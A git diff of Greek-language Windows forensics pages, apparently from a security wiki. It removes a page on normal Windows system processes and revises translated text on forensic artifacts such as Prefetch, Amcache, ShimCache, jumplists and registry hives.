δέντρο διαδικασιών). Μία άλλη δημιουργείται **ανά νέα Συνεδρία**. - -## winlogon.exe - -**Διαδικασία Σύνδεσης Windows**.\ -Είναι υπεύθυνη για τη **σύνδεση**/**αποσύνδεση** του χρήστη. Εκκινεί το **logonui.exe** για να ζητήσει όνομα χρήστη και κωδικό πρόσβασης και στη συνέχεια καλεί το **lsass.exe** για να τα επαληθεύσει. - -Στη συνέχεια, εκκινεί το **userinit.exe** που καθορίζεται στο **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** με κλειδί **Userinit**. - -Επιπλέον, η προηγούμενη μητρώο θα πρέπει να έχει **explorer.exe** στο **κλειδί Shell** ή μπορεί να κακοποιηθεί ως μέθοδος **επιμονής κακόβουλου λογισμικού**. - -## wininit.exe - -**Διαδικασία Αρχικοποίησης Windows**. \ -Εκκινεί **services.exe**, **lsass.exe** και **lsm.exe** στη Συνεδρία 0. Θα πρέπει να υπάρχει μόνο 1 διαδικασία. - -## userinit.exe - -**Εφαρμογή Σύνδεσης Userinit**.\ -Φορτώνει το **ntduser.dat στο HKCU** και αρχικοποιεί το **περιβάλλον** **χρήστη** και εκτελεί **σενάρια** **σύνδεσης** και **GPO**. - -Εκκινεί το **explorer.exe**. - -## lsm.exe - -**Διαχειριστής Τοπικής Συνεδρίας**.\ -Δουλεύει με το smss.exe για να χειριστεί τις συνεδρίες χρηστών: Σύνδεση/αποσύνδεση, εκκίνηση κελύφους, κλείδωμα/ξεκλείδωμα επιφάνειας εργασίας, κ.λπ. - -Μετά το W7, το lsm.exe μετατράπηκε σε υπηρεσία (lsm.dll). - -Θα πρέπει να υπάρχει μόνο 1 διαδικασία στο W7 και από αυτές μια υπηρεσία που εκτελεί τη DLL. - -## services.exe - -**Διαχειριστής Ελέγχου Υπηρεσιών**.\ -Φορτώνει **υπηρεσίες** που έχουν ρυθμιστεί ως **αυτόματη εκκίνηση** και **οδηγούς**. - -Είναι η γονική διαδικασία του **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** και πολλών άλλων. - -Οι υπηρεσίες ορίζονται στο `HKLM\SYSTEM\CurrentControlSet\Services` και αυτή η διαδικασία διατηρεί μια βάση δεδομένων στη μνήμη με πληροφορίες υπηρεσιών που μπορούν να ερωτηθούν από το sc.exe. - -Σημειώστε πώς **ορισμένες** **υπηρεσίες** θα εκτελούνται σε **δική τους διαδικασία** και άλλες θα **μοιράζονται μια διαδικασία svchost.exe**. - -Θα πρέπει να υπάρχει μόνο 1 διαδικασία. - -## lsass.exe - -**Υποσύστημα Τοπικής Ασφάλειας**.\ -Είναι υπεύθυνο για την **αυθεντικοποίηση** του χρήστη και τη δημιουργία των **ασφαλιστικών** **token**. Χρησιμοποιεί πακέτα αυθεντικοποίησης που βρίσκονται στο `HKLM\System\CurrentControlSet\Control\Lsa`. - -Γράφει στο **ημερολόγιο** **ασφαλείας** και θα πρέπει να υπάρχει μόνο 1 διαδικασία. - -Λάβετε υπόψη ότι αυτή η διαδικασία είναι πολύ επιρρεπής σε επιθέσεις για την εξαγωγή κωδικών πρόσβασης. - -## svchost.exe - -**Γενική Διαδικασία Φιλοξενίας Υπηρεσιών**.\ -Φιλοξενεί πολλαπλές υπηρεσίες DLL σε μία κοινή διαδικασία. - -Συνήθως, θα διαπιστώσετε ότι το **svchost.exe** εκκινείται με την παράμετρο `-k`. Αυτό θα εκκινήσει ένα ερώτημα στο μητρώο **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** όπου θα υπάρχει ένα κλειδί με το επιχείρημα που αναφέρεται στο -k που θα περιέχει τις υπηρεσίες που θα εκκινηθούν στην ίδια διαδικασία. - -Για παράδειγμα: `-k UnistackSvcGroup` θα εκκινήσει: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` - -Εάν η **παράμετρος `-s`** χρησιμοποιείται επίσης με ένα επιχείρημα, τότε ζητείται από το svchost να **εκκινήσει μόνο την καθορισμένη υπηρεσία** σε αυτό το επιχείρημα. - -Θα υπάρχουν πολλές διαδικασίες του `svchost.exe`. Εάν καμία από αυτές **δεν χρησιμοποιεί την παράμετρο `-k`**, τότε αυτό είναι πολύ ύποπτο. Εάν διαπιστώσετε ότι **services.exe δεν είναι η γονική διαδικασία**, αυτό είναι επίσης πολύ ύποπτο. - -## taskhost.exe - -Αυτή η διαδικασία λειτουργεί ως φιλοξενούσα για διαδικασίες που εκτελούνται από DLLs. Φορτώνει επίσης τις υπηρεσίες που εκτελούνται από DLLs. - -Στο W8 αυτό ονομάζεται taskhostex.exe και στο W10 taskhostw.exe. - -## explorer.exe - -Αυτή είναι η διαδικασία που είναι υπεύθυνη για την **επιφάνεια εργασίας του χρήστη** και την εκκίνηση αρχείων μέσω επεκτάσεων αρχείων. - -**Μόνο 1** διαδικασία θα πρέπει να δημιουργείται **ανά χρήστη που έχει συνδεθεί.** - -Αυτό εκτελείται από το **userinit.exe** το οποίο θα πρέπει να τερματιστεί, έτσι **κανένας γονέας** δεν θα πρέπει να εμφανίζεται για αυτή τη διαδικασία. - -# Ανίχνευση Κακόβουλων Διαδικασιών - -- Εκτελείται από την αναμενόμενη διαδρομή; (Καμία δυαδική Windows δεν εκτελείται από προσωρινή τοποθεσία) -- Επικοινωνεί με περίεργες IP; -- Ελέγξτε τις ψηφιακές υπογραφές (τα αρχεία της Microsoft θα πρέπει να είναι υπογεγραμμένα) -- Είναι σωστά γραμμένο; -- Εκτελείται υπό την αναμενόμενη SID; -- Είναι η γονική διαδικασία η αναμενόμενη (αν υπάρχει); -- Είναι οι διαδικασίες παιδιών οι αναμενόμενες; (κανένα cmd.exe, wscript.exe, powershell.exe..?) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 258ab8047..08216183d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,7 +1,5 @@ # Windows Artifacts -## Windows Artifacts - {{#include ../../../banners/hacktricks-training.md}} ## Generic Windows Artifacts @@ -20,13 +18,13 @@ ### ADS (Alternate Data Streams) -Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από το οποίο κατέβηκε το αρχείο. +Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκε από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από όπου κατέβηκε το αρχείο. ## **File Backups** ### Recycle Bin -Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\ +Στο Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\ Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία: - `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε) @@ -40,15 +38,15 @@ ``` ![](<../../../images/image (495) (1) (1) (1).png>) -### Αντίγραφα Σκιάς Όγκου +### Αντίγραφα Σκιάς -Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση. +Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή τόμων υπολογιστή, ακόμη και όταν είναι σε χρήση. Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα: ![](<../../../images/image (94).png>) -Τοποθετώντας την εικόνα ψηφιακής ποινικής έρευνας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. +Τοποθετώντας την εικόνα ψηφιακής εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. ![](<../../../images/image (576).png>) @@ -75,9 +73,9 @@ Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο. -Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι ένα **αρχείο** **ή** ένας **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. +Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες τόμου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. -Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. +Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο χρησιμοποιήθηκε **πρώτη** **φορά** και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/). @@ -98,11 +96,11 @@ ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` -Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. +In this case, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. ### Jumplists -Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. +Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιούνται από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής. @@ -110,7 +108,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**. -Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Μπορείτε να ελέγξετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (168).png>) @@ -142,7 +140,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective @@ -154,7 +152,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή. -Η εργασία βρίσκεται στο παρακάτω μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +Η εργασία βρίσκεται στο εξής μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) @@ -166,7 +164,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs - **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαίως κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης. - **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης. -Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών. +Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με πρόβλεψη για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών. **Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) @@ -191,12 +189,12 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### Microsoft Outlook -Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια headers MAPI: +Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια MAPI headers: -- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν το email εστάλη +- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν εστάλη το email - `Mapi-Conversation-Index`: Αριθμός παιδιών μηνυμάτων της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας - `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος. -- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; όχι διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;) +- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;) Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο: @@ -211,7 +209,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### Microsoft Outlook OST Files -Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). +Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορεί να χρησιμοποιηθεί ο [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). ### Ανάκτηση Συνημμένων @@ -243,9 +241,9 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου: -- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. +- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για πλοήγηση μέσω του μητρώου Windows της τρέχουσας συνεδρίας. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να πλοηγηθείτε μέσω αυτού με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την πλοήγηση μέσω του φορτωμένου μητρώου και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. - [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο. ### Ανάκτηση Διαγραμμένων Στοιχείων @@ -258,7 +256,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### SAM -Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος. +Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes κωδικών πρόσβασης χρηστών** του συστήματος. Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**. @@ -280,19 +278,19 @@ interesting-windows-registry-keys.md ### BAM (Background Activity Moderator) -Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου). +Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **σε ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Δεδομένων του μητρώου). ### Windows Prefetch Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα. -Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10. +Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` μέσα στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10. Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή. -Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **ανοιχτά** από το πρόγραμμα. +Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα. -Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Για να ελέγξετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` @@ -305,13 +303,13 @@ interesting-windows-registry-keys.md Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** **που άνοιξαν**, τον **όγκο** **που προσπελάστηκε**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**. -Μπορείτε να αποκτήσετε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** **που καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`. -Δίνει τις εξής πληροφορίες: +Παρέχει τις εξής πληροφορίες: - AppID και Διαδρομή - Χρήστης που εκτέλεσε τη διαδικασία @@ -333,13 +331,13 @@ interesting-windows-registry-keys.md - Πλήρης διαδρομή του αρχείου - Μέγεθος του αρχείου -- Τελευταία τροποποίηση υπό **$Standard_Information** (SI) +- Τελευταία τροποποίηση κάτω από **$Standard_Information** (SI) - Τελευταία ενημέρωση του ShimCache - Σημαία εκτέλεσης διαδικασίας -Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες ανάλογα με την έκδοση του λειτουργικού συστήματος: +Αυτά τα δεδομένα αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες με βάση την έκδοση του λειτουργικού συστήματος: -- Για XP, τα δεδομένα αποθηκεύονται υπό `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών. +- Για XP, τα δεδομένα αποθηκεύονται κάτω από `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών. - Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα. Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser). @@ -352,7 +350,7 @@ interesting-windows-registry-keys.md Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. -Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: +Για να εξαγάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` @@ -379,9 +377,9 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\ Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη 